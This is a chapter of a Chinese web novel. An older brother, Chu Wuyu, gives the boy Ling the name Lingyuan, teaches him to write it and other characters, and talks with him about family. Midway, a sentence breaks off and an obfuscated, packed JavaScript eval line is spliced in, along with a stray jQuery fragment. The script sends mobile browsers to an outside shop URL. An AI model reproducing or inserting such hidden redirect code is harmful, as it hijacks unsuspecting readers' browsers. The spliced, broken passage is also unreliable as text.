灵还没有名字。
爹叫他“灵”，哥哥也叫他“灵”。所有人都叫他“灵”。他不知道“灵”是什么意思，只知道那是他唯一的名字。
爹说这个名字是哥哥取的。哥哥说不是他取的，是爹问他叫什么，他说“灵”，爹就叫他“灵”了。
灵问哥哥为什么叫他“灵”，哥哥说不知道。灵不信。哥哥什么都知道，怎么会不知道？但哥哥不想说的事，问也问不出来。
那年秋天，山下的枣子红了，楚无毓带着灵去镇上卖枣。
回来的时候，天已经快黑了。灵走不动了，楚无毓把他背在背上，一手提着空篮子，一手托着他的腿。
灵趴在楚无毓的背上，闻着楚无毓身上的香味，困得眼睛都睁不开了。
“哥哥。”他迷迷糊糊地唤了一声。
“嗯。”
“我有名字吗？”
“有。”
“叫什么？”
“灵。”
“灵不是名字。”灵的声音闷闷的，脸埋在楚无毓的肩窝里，“灵就是灵。我要像别人一样，有那种……那种听起来就知道是哥哥在叫我的。”
楚无毓没有说话。灵等了一会儿，以为楚无毓不会回答了，就闭上了眼睛。他快要睡着的时候，隐约听见楚无毓说了一句话。
“回去给你取。”
灵的嘴角弯了一下，把脸埋得更深了。
回到家里，楚无毓把灵放在床上，给他盖好被子。灵拉着楚无毓的袖子不松手。
“哥哥，你不是说要给我取名字吗？”
“明天。”
“今天。”
楚无毓垂眸看着他。灵那双红色的眼睛里有一种很固执的东西，像火，烧起来了就不容易灭。
“好。”楚无毓还是妥协了。
他走到桌边，坐下来。桌上放着一本书，是他白天看的。他把书翻开，目光落在书页上。
灵从床上爬起来，坐在楚无毓旁边。他趴在桌上，下巴搁在胳膊上，眉眼弯弯，笑着看着楚无毓。
“哥哥，你在看什么？”
“书。”
“什么书？”
“你不认识。”
灵瘪了瘪嘴。他确实不认识。他不认字。楚无毓教过他几个，但他记不住。他觉得那些字长得都差不多，横横竖竖的。
“哥哥，名字想好了吗？”
“没有。”
“你快想。”
楚无毓从来不会因为别人催就加快速度。他做事有他自己的节奏，不快不慢，不被任何人影响。灵趴在桌上等了一会儿，等得不耐烦了，楚无毓开口了。
“凌渊。”
灵的手指停住了。
“凌渊？”
“凌是由‘灵’来的，渊是‘鱼跃于渊’的渊。不错的寓意。”楚无毓的声音很轻，“凌渊。”
“我在，哥哥。”灵笑着应了。
灵虽然不知道什么是“鱼跃于渊”，但他觉得很好听，楚无毓取的。比“灵”好听很多。
“哥哥，凌渊是什么意思？”
楚无毓低头看着桌上的书。书页上有一行字，灵不认识，但哥哥看得懂。那行字里有一个“渊”字，笔画很多，密密麻麻的。楚无毓的目光在那个字上停了一会儿。
“渊是深水。”楚无毓干脆换了个好懂的意思，“很深很深，掉进去就上不来了。”
灵眨了眨眼，听的很认真。
“那凌呢？”
“凌是冰。冰浮在水面上。不会沉下去。”
灵想了想。
“所以凌渊是……不会沉下去的意思？”
楚无毓唇边勾起一丝温柔的笑。
“差不多。”
灵躺回床上，钻进被窝里。他把被子拉到下巴，把新名字在心里念了一遍又一遍。凌渊。凌渊。凌渊。他念着念着，笑了。
楚无毓坐在桌边，把书合上，吹灭了灯。
“哥哥。”凌渊在黑暗中叫了一声。
“嗯。”
“你明天教我写字，好不好？”
“好。”
第二天早上，凌渊醒来的时候，楚无毓正坐在塌边。凌渊笑着从身后一把抱住了楚无毓，脑袋靠在楚无毓肩上。
“哥哥，早上好。”
楚无毓无可奈何地揉了揉凌渊的发顶。
“早上好。”
“你叫我一声。”
凌渊等了一会儿，见他不叫，歪头蹭了蹭他的脖颈：“你叫我一声嘛。”
“凌渊。”楚无毓还是拗不过他，“好了，松手，还吃不吃早饭了？”
凌渊总算是放过了楚无毓，松开手安安分分坐在床上，看着楚无毓起身走出房间。
半晌后，楚无毓端着粥放在院子里的石桌上。
凌渊跑过去，坐在石凳上，端起碗喝了一口粥。粥很烫，他哈了一口气，吹了吹，又喝了一口。
“哥哥。”他放下碗，“你什么时候教我写字？”
“吃完。”
凌渊三口两口把粥喝完了，放下碗。
“吃完了。”
楚无毓看了他一眼，站起身走进屋里。凌渊跟在他后面。
楚无毓从抽屉里拿出一张纸和一支笔。他把纸铺在桌上，蘸了墨，在纸上写了一个字。
凌。一笔一画，工工整整。
“这是凌。”
凌渊凑过去看。凌。左边是两点水，右边是一个“夌”。
他看了几遍，觉得那个“夌”很难写，上面一个“土”，下面一个“夂”，弯来弯去的。
“记住了吗？”
凌渊乖乖点头。他拿起笔，学着哥哥的样子，在纸上写。他写了一个“凌”，左边两点水写得像两个点，右边的“夌”写得像一团乱麻。
“蛆爬。”楚无毓认真地给了评价。
凌渊写了十几遍，终于写出了一个勉强能认出来的“凌”。
这次楚无毓点了点头。
“蛆认真爬。”
“哥哥！”
楚无毓低低笑出声来。
“好了好了，这个字念什么？”
“凌。”
“什么凌？”
“冰凌的凌。”
楚无毓又在“凌”字旁边又写了一个字。渊。笔画很多，密密麻麻的。凌渊看着那个字，觉得眼睛都花了。里面像是有好多层，一层一层的，看不清楚。
“这是渊。”
“渊。”
“深渊的渊。”
凌渊拿起笔，照着写。他写了一个三点水，三个点歪歪扭扭的，右边的“渊”他完全写不出来，写了几笔就乱了，不知道自己在写什么。他停下来，看了看哥哥写的“渊”，又看了看自己写的。他的纸上只有一个歪歪扭扭的三点水，右边是空的。
“太难了，哥哥。”
楚无毓拿起笔，在纸上又写了一个“渊”，比刚才那个大了一倍。他把纸推到凌渊面前。
“照着写。一笔一笔地写。”
凌渊先写三点水，这一次写得比刚才好了一些，三个点挨得近了，他写右边。他写那些弯来弯去的笔画写得很慢，每一笔都想了很久才落下去。写完之后，他看了看，觉得不像。他写的“渊”和哥哥写的“渊”放在一起，一个工整凌厉，一个鬼画符，但他写出来了。他写出了“渊”字。
“我写出来了。”
楚无毓看了一眼。
“不错，适合去画符。”
凌渊不知道这话是夸是损，他只注意到楚无毓笑了，那就够了。他把那张纸拿起来，举到眼前看。
凌渊。两个字并排躺在纸上，一个左边两点水，一个右边三点水，他看了很久，把纸放下，拿起笔，又写了一遍。这一次比上一次好一些，“渊”字右边的笔画不再那么乱了，虽然还是歪歪扭扭的，不过至少能看出来是“渊”了。
“哥哥，我写的对不对？”
“对。”
凌渊把纸收好，塞进怀里。他要留着。这是他会写的第一个名字。
那天下午，楚无毓教灵认更多的字。
他拿出一本旧书，翻开第一页。书页已经泛黄了，边角卷了起来，有些地方还被虫蛀了。楚无毓指着第一行第一个字。
“这是‘天’。”
凌渊跟着念。
“天。”
“天在上面。”楚无毓指了指头顶，“我们头顶上的就是天。”
凌渊抬起头，看着屋顶。屋顶是木头做的，上面有梁，有瓦。他看不见天。
“哥哥，我看不见天。”
“出去就能看见了。”
凌渊出了屋子，站在院子里，仰着头看天。天是蓝的，有几朵白云飘着，慢慢悠悠的。他看了一会儿，跑回屋里。
“我看见了。天是蓝的。”
楚无毓在纸上写了一个“天”字。
“照着写。”
凌渊拿起笔，照着写了一个“天”。两横，一撇，一捺。他写了两横，第一横短，第二横长，撇和捺从中间分开，像两条腿。他看了看，觉得像一个人在走路。
“哥哥，‘天’为什么这样写？”
楚无毓想了想。
“不知道。书上就是这么写的。”
楚无毓又教了他几个字。“地”、“人”、“山”、“水”。每一个字都写一遍，念一遍，解释一遍。凌渊学得很慢，有些字记不住，有些字写错了，有些字念对了但不知道是什么意思。楚无毓教了一遍教第二遍，教了第二遍教第三遍。
“哥哥，你小时候也是这样学认字的吗？”
“嗯。”
“谁教你的？”
“爹。”
凌渊想了想爹的样子。爹很高，很瘦，不爱说话。他教哥哥认字的时候，是不是也像哥哥教他一样，一遍一遍地教？爹会不会说“不错”？爹会不会摸摸哥哥的头？
“哥哥，爹对你好吗？”
楚无毓的手停了一下。
“好。”
“怎么好？”
“他教我认字。”
凌渊觉得这个回答很奇怪。
教认字就是好吗？那哥哥教他认字，哥哥对他也好。他对哥哥也好吗？他脑袋转不过来，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647512|206813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他只知道，他喜欢哥哥。喜欢哥哥教他认字，喜欢哥哥给他煮粥，喜欢哥哥背着他，喜欢哥哥抱他。
他喜欢哥哥的一切。
“哥哥，你对我好。”
楚无毓没有回答。他低下头，继续在纸上写字。凌渊凑过去看，哥哥写了一个“家”字。宝盖头，下面一个“豕”。凌渊不认识。
“这是什么字？”
“家。”
“家？”
“家。”楚无毓指着纸上的字，“上面是屋顶，下面是牲畜。有屋顶，有牲畜，就是家。”
凌渊觉得这个字很有意思。有屋顶，有牲畜，就是家。他们没有牲畜，但他们有枣树。有枣树算不算家？反正有哥哥在就是家。
“哥哥，我们有家吗？”
“有。爹和我们，就是家。”楚无毓顿了顿，垂下眸子，“只是爹的家在上界，这里只有我们。”
“哥哥。”凌渊的语气很认真，“我不要爹了，我只想要你。”
楚无毓看着他。
“这种话不能乱说。”
“为什么？”
“这种话是留着给以后的妻子说的，就是要陪你过一辈子的人。”
凌渊有些不解。
“那哥哥不就是吗？哥哥对我这么好，而且哥哥说好要陪我一辈子的。”
楚无毓没有再提这个话题。
傍晚时，凌渊坐在门槛上，把今天学过的字一个一个地写在地上。他用树枝写，写了一个“天”，又写了一个“地”，又写了一个“人”。他写了“山”，写了“水”，最后写了一个“家”。他把“家”字写得很大，占了半块地。他看了看，觉得这个“家”字很好看。
“哥哥，你看。”他指着地上的字。
楚无毓走过来，弯下腰看了一眼。
“写得好。”
凌渊笑了。他在地上又写了一个“凌渊”，在“凌渊”边上画了个小人，画得歪歪扭扭。
“哥哥，教我写你的名字好不好？”
“我的难写。”
凌渊的语气很固执。
“那我也要学，我要把哥哥的名字写得最最最好看。”
楚无毓怔神片刻，叹了口气，他总是拿他这个弟弟没办法，劝不动也拗不过。
“哥哥，我以后每天都要写字。”
“好。”
“我每天写一百遍。”
“太多了。”
“那五十遍。”
“二十遍。”
“三十遍。”
“二十五遍。”
凌渊想了想，点了点头。
“好，二十五遍。”
他站起来，拍了拍衣袍上的灰，跑进屋里，找了一张纸，开始写。他写了第一遍，看了看，不满意，揉了。写了第二遍，看了看，比第一遍好一些，但“渊”字的右边还是歪的。
他继续写。第三遍，第四遍，第五遍。写到第十遍的时候，“渊”字终于不那么歪了。他拿着那张纸，跑到哥哥面前。
“哥哥，你看。第十遍。”
楚无毓接过来，看了看。
“比第一遍好多了。”
凌渊把纸收好，接着写。他写了二十五遍，挑了一张最好看的，折好，塞进枕头底下。
剩下的那些，他叠在一起，放进抽屉里，他要留着以后看。
那天晚上，凌渊躺在床上，把新名字又念了好几遍。凌渊。凌是冰凌的凌。渊是深渊的渊。他是不会沉下去的冰。
他把这两个字放在心里，放在最里面，那里是哥哥住的地方。
后来的日子，凌渊学会了楚无毓的名字，从每天都写自己的名字变成每天写楚无毓的名字。他写了很多遍，写到手指都酸了，写到纸用完了，写到墨用干了。他去镇上买纸，买墨，买笔。
哥哥给他的钱，他舍不得花，但买纸买墨的钱，他从来不省。
他把“楚无毓”三个字练得越来越好，从歪歪扭扭到工工整整，从工工整整到行云流水。他写了一百遍，写了五百遍，写了一千遍。
楚无毓看到时也会惊住，凌渊写的和他自己写的几乎毫无差别。
有一天，凌渊写了一张最好看的“楚无毓”，拿给楚无毓看。
“哥哥，这张给你。”
楚无毓接过来，仔细看着。
“写得很好。”
“你留着。”
楚无毓把那张纸折好，放进抽屉里。凌渊不知道楚无毓有没有留着，他相信楚无毓，楚无毓从来不会扔掉他给的东西。
那天晚上，凌渊问楚无毓：“哥哥，你为什么要给我取这个名字？”
楚无毓正在看书，闻言放下了书。
“……你问了很多遍了。”
“我喜欢听哥哥说。”
楚无毓叹了口气。
“因为我希望你远离深渊。”
“深渊在哪里？”
“在很多地方。在你不知道的地方。”
凌渊不懂，但他记住了。深渊在很多地方，在他不知道的地方。他要远离，不要掉进去。他有他的冰，不会沉。